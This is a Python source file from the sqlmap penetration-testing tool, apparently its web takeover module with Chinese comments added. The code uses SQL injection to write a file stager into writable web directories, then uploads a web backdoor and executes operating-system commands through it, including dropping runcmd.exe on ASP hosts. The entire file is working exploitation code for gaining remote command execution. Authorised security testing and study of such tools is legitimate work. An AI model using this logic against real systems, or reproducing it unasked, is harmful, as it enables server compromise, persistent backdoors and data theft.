#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

# 导入所需的标准库
import io
import os
import posixpath
import re
import tempfile

# 导入自定义模块和第三方库
from extra.cloak.cloak import decloak  # 用于解密混淆的文件
from lib.core.agent import agent  # SQL注入代理模块
from lib.core.common import arrayizeValue  # 将值转换为数组
from lib.core.common import Backend  # 后端DBMS信息
from lib.core.common import extractRegexResult  # 正则提取结果
from lib.core.common import getAutoDirectories  # 获取自动检测的目录
from lib.core.common import getManualDirectories  # 获取手动指定的目录
from lib.core.common import getPublicTypeMembers  # 获取类的公共成员
from lib.core.common import getSQLSnippet  # 获取SQL代码片段
from lib.core.common import getTechnique  # 获取注入技术
from lib.core.common import getTechniqueData  # 获取注入技术数据
from lib.core.common import isDigit  # 判断是否为数字
from lib.core.common import isTechniqueAvailable  # 判断注入技术是否可用
from lib.core.common import isWindowsDriveLetterPath  # 判断是否为Windows驱动器路径
from lib.core.common import normalizePath  # 规范化路径
from lib.core.common import ntToPosixSlashes  # Windows路径转POSIX路径
from lib.core.common import openFile  # 打开文件
from lib.core.common import parseFilePaths  # 解析文件路径
from lib.core.common import posixToNtSlashes  # POSIX路径转Windows路径
from lib.core.common import randomInt  # 生成随机整数
from lib.core.common import randomStr  # 生成随机字符串
from lib.core.common import readInput  # 读取用户输入
from lib.core.common import singleTimeWarnMessage  # 单次警告消息
from lib.core.compat import xrange  # 兼容Python2/3的range
from lib.core.convert import encodeHex  # 十六进制编码
from lib.core.convert import getBytes  # 获取字节串
from lib.core.convert import getText  # 获取文本
from lib.core.convert import getUnicode  # 获取Unicode字符串
from lib.core.data import conf  # 配置数据
from lib.core.data import kb  # 知识库数据
from lib.core.data import logger  # 日志记录器
from lib.core.data import paths  # 路径信息
from lib.core.datatype import OrderedSet  # 有序集合
from lib.core.enums import DBMS  # 数据库管理系统枚举
from lib.core.enums import HTTP_HEADER  # HTTP头部枚举
from lib.core.enums import OS  # 操作系统枚举
from lib.core.enums import PAYLOAD  # 载荷类型枚举
from lib.core.enums import PLACE  # 注入位置枚举
from lib.core.enums import WEB_PLATFORM  # Web平台枚举
from lib.core.exception import SqlmapNoneDataException  # sqlmap异常类
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT  # 后门命令执行超时设置
from lib.core.settings import EVENTVALIDATION_REGEX  # ASP.NET事件验证正则
from lib.core.settings import SHELL_RUNCMD_EXE_TAG  # Shell运行命令可执行文件标签
from lib.core.settings import SHELL_WRITABLE_DIR_TAG  # Shell可写目录标签
from lib.core.settings import VIEWSTATE_REGEX  # ASP.NET视图状态正则
from lib.request.connect import Connect as Request  # HTTP请求类
from thirdparty.six.moves import urllib as _urllib  # URL处理库

class Web(object):
    """
    这个类定义了Web相关的操作系统接管功能。
    主要用于上传和执行Web后门,实现对目标系统的远程控制。
    """

    def __init__(self):
        """
        初始化Web类的属性
        """
        self.webPlatform = None  # Web平台类型(PHP/ASP/ASPX等)
        self.webBaseUrl = None  # Web根URL
        self.webBackdoorUrl = None  # 后门URL
        self.webBackdoorFilePath = None  # 后门文件路径
        self.webStagerUrl = None  # 文件上传器URL
        self.webStagerFilePath = None  # 文件上传器路径
        self.webDirectory = None  # Web目录

    def webBackdoorRunCmd(self, cmd):
        """
        通过Web后门执行系统命令
        
        参数:
            cmd: 要执行的命令
            
        返回:
            命令执行的输出结果
        """
        if self.webBackdoorUrl is None:
            return

        output = None

        if not cmd:
            cmd = conf.osCmd

        # 构造命令执行URL
        cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))
        # 发送请求执行命令
        page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)

        if page is not None:
            # 从响应中提取命令输出
            output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S)

            if output:
                output = output.group(1)

        return output

    def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
        """
        上传文件到目标服务器
        
        参数:
            destFileName: 目标文件名
            directory: 目标目录
            stream: 文件流对象
            content: 文件内容
            filepath: 本地文件路径
            
        返回:
            上传是否成功
        """
        if filepath is not None:
            if filepath.endswith('_'):
                content = decloak(filepath)  # 解密混淆文件
            else:
                with openFile(filepath, "rb", encoding=None) as f:
                    content = f.read()

        if content is not None:
            stream = io.BytesIO(getBytes(content))  # 将内容转换为字节流

            # 设置流的长度属性
            stream.seek(0, os.SEEK_END)
            stream.len = stream.tell()
            stream.seek(0, os.SEEK_SET)

        return self._webFileStreamUpload(stream, destFileName, directory)

    def _webFileStreamUpload(self, stream, destFileName, directory):
        """
        通过文件流上传文件的内部方法
        
        参数:
            stream: 文件流对象
            destFileName: 目标文件名
            directory: 目标目录
            
        返回:
            上传是否成功
        """
        stream.seek(0)  # 重置流位置

        try:
            setattr(stream, "name", destFileName)
        except TypeError:
            pass

        if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
            # 构造多部分表单数据
            multipartParams = {
                "upload": "1",
                "file": stream,
                "uploadDir": directory,
            }

            # 对ASP.NET平台添加特殊参数
            if self.webPlatform == WEB_PLATFORM.ASPX:
                multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
                multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE

            # 发送上传请求
            page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)

            if "File uploaded" not in (page or ""):
                warnMsg = "unable to upload the file through the web file "
                warnMsg += "stager to '%s'" % directory
                logger.warning(warnMsg)
                return False
            else:
                return True
        else:
            logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform)
            return False

    def _webFileInject(self, fileContent, fileName, directory):
        """
        通过SQL注入写入文件的内部方法
        
        参数:
            fileContent: 文件内容
            fileName: 文件名
            directory: 目标目录
            
        返回:
            注入结果页面
        """
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
        uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        # 根据注入技术构造查询
        if isTechniqueAvailable(getTechnique()):
            where = getTechniqueData().where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        # 构造写文件的SQL语句
        query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False))
        query = agent.prefixQuery(query)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page

    def webInit(self):
        """
        初始化Web后门
        该方法用于在Web服务器的可写目录中写入Web后门(代理)
        """

        # 如果已经初始化过,直接返回
        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
            return

        # 检查数据库和操作系统类型
        self.checkDbmsOs()

        # 确定Web平台类型
        default = None
        choices = list(getPublicTypeMembers(WEB_PLATFORM, True))

        # 根据URL后缀猜测Web平台
        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        # 如果无法猜测,根据操作系统设置默认值
        if not default:
            default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP

        # 提示用户选择Web平台
        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        # 获取用户输入的Web平台选择
        while True:
            choice = readInput(message, default=str(default))

            if not isDigit(choice):
                logger.warning("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warning("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webPlatform = choices[int(choice) - 1]
                break

        # 尝试获取完整的文件路径信息
        if not kb.absFilePaths:
            message = "do you want sqlmap to further try to "
            message += "provoke the full path disclosure? [Y/n] "

            if readInput(message, default='Y', boolean=True):
                headers = {}
                been = set([conf.url])

                # 尝试访问WordPress相关路径
                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
                    if url not in been:
                        try:
                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                            parseFilePaths(page)
                        except:
                            pass
                        finally:
                            been.add(url)

                # 尝试访问带~的URL
                url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
                if url not in been:
                    try:
                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
                        parseFilePaths(page)
                    except:
                        pass
                    finally:
                        been.add(url)

                # 尝试不同的参数注入方式
                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
                        if "[]" in value:
                            page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
                            parseFilePaths(page)

                # 尝试Cookie注入
                cookie = None
                if PLACE.COOKIE in conf.parameters:
                    cookie = conf.parameters[PLACE.COOKIE]
                elif headers and HTTP_HEADER.SET_COOKIE in headers:
                    cookie = headers[HTTP_HEADER.SET_COOKIE]

                if cookie:
                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

                    value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
                    if value != cookie:
                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
                        parseFilePaths(page)

        # 获取可能的目标目录列表
        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(OrderedSet(directories))

        # 处理URL路径
        path = _urllib.parse.urlparse(conf.url).path or '/'
        path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
        if path != '/':
            _ = []
            for directory in directories:
                _.append(directory)
                if not directory.endswith(path):
                    _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
            directories = _

        # 生成后门文件名和内容
        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
        backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))

        # 获取文件上传器内容
        stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))

        # 遍历目录尝试上传后门
        for directory in directories:
            if not directory:
                continue

            # 生成上传器文件名和路径
            stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
            self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

            uploaded = False
            directory = ntToPosixSlashes(normalizePath(directory))

            # 规范化目录路径
            if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
                directory = "/%s" % directory

            if not directory.endswith('/'):
                directory += '/'

            # 尝试通过LIMIT方法上传文件上传器
            infoMsg = "trying to upload the file stager on '%s' " % directory
            infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
            logger.info(infoMsg)
            self._webFileInject(stagerContent, stagerName, directory)

            # 检查上传器是否可访问
            for match in re.finditer('/', directory):
                self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
                debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                logger.debug(debugMsg)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" in uplPage:
                    uploaded = True
                    break

            # 如果LIMIT方法失败,尝试使用UNION查询方法
            if not uploaded:
                warnMsg = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                singleTimeWarnMessage(warnMsg)

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                    infoMsg = "trying to upload the file stager on '%s' " % directory
                    infoMsg += "via UNION method"
                    logger.info(infoMsg)

                    stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    # 创建临时文件
                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    # 写入上传器内容
                    with openFile(filename, "w+b") as f:
                        _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
                        _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
                        f.write(_)

                    # 通过UNION查询上传文件
                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    # 检查上传器是否可访问
                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            # 检查上传器是否被正确解释执行
            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warning(warnMsg)
                continue

            # 处理ASP.NET特殊参数
            elif self.webPlatform == WEB_PLATFORM.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            # 处理ASP平台特殊情况
            if self.webPlatform == WEB_PLATFORM.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                # 上传后门和命令执行组件
                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                # 上传后门文件
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warning(warnMsg)

                    # 询问是否使用相同方法重试
                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            # 测试后门是否可用
            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
